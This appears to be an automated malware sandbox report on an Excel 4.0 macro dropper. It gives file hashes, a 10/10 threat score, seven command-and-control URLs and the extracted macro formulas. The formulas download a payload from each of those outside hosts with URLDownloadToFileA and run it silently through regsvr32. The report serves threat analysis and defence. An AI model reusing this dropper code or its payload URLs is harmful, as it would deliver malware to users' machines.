3c0fed96a724a0800d53c1ac4699b31fa2177d3b22b087acca45b6ce1e5af436

General

Target

3c0fed96a724a0800d53c1ac4699b31fa2177d3b22b087acca45b6ce1e5af436
Size

35KB
Sample

241120-jjl5wavamn
MD5

5e46f192918b37f868d48d9742e7aa07
SHA1

27c228a13266b4c7bb6abe8dcdb3b0d2835ceeb0
SHA256

3c0fed96a724a0800d53c1ac4699b31fa2177d3b22b087acca45b6ce1e5af436
SHA512

21b1846a50bbe61002ad9aa180aee32e50587053c3d1e7fa44571356d5ddd11e782a5b1953a7924b9d9525def8c776aefda909366271a1940422cedee5031b56
SSDEEP

768:u0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:u0t+gEUOZZ1ZYpoQ/pMA39

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://www.rivabodrumresort.com/eski_site/HozRXt/

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

https://britspizzeria.com/cgi-bin/WRo/

https://trainingeighteen.co.zw/wp-content/f1Q3/

https://thiendoan.com/venmo/Mp1r/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

xlm40.dropper

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

xlm40.dropper

https://britspizzeria.com/cgi-bin/WRo/

xlm40.dropper

https://trainingeighteen.co.zw/wp-content/f1Q3/

xlm40.dropper

https://thiendoan.com/venmo/Mp1r/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

Targets

- Target
  
  3c0fed96a724a0800d53c1ac4699b31fa2177d3b22b087acca45b6ce1e5af436
- Size
  
  35KB
- MD5
  
  5e46f192918b37f868d48d9742e7aa07
- SHA1
  
  27c228a13266b4c7bb6abe8dcdb3b0d2835ceeb0
- SHA256
  
  3c0fed96a724a0800d53c1ac4699b31fa2177d3b22b087acca45b6ce1e5af436
- SHA512
  
  21b1846a50bbe61002ad9aa180aee32e50587053c3d1e7fa44571356d5ddd11e782a5b1953a7924b9d9525def8c776aefda909366271a1940422cedee5031b56
- SSDEEP
  
  768:u0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:u0t+gEUOZZ1ZYpoQ/pMA39
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2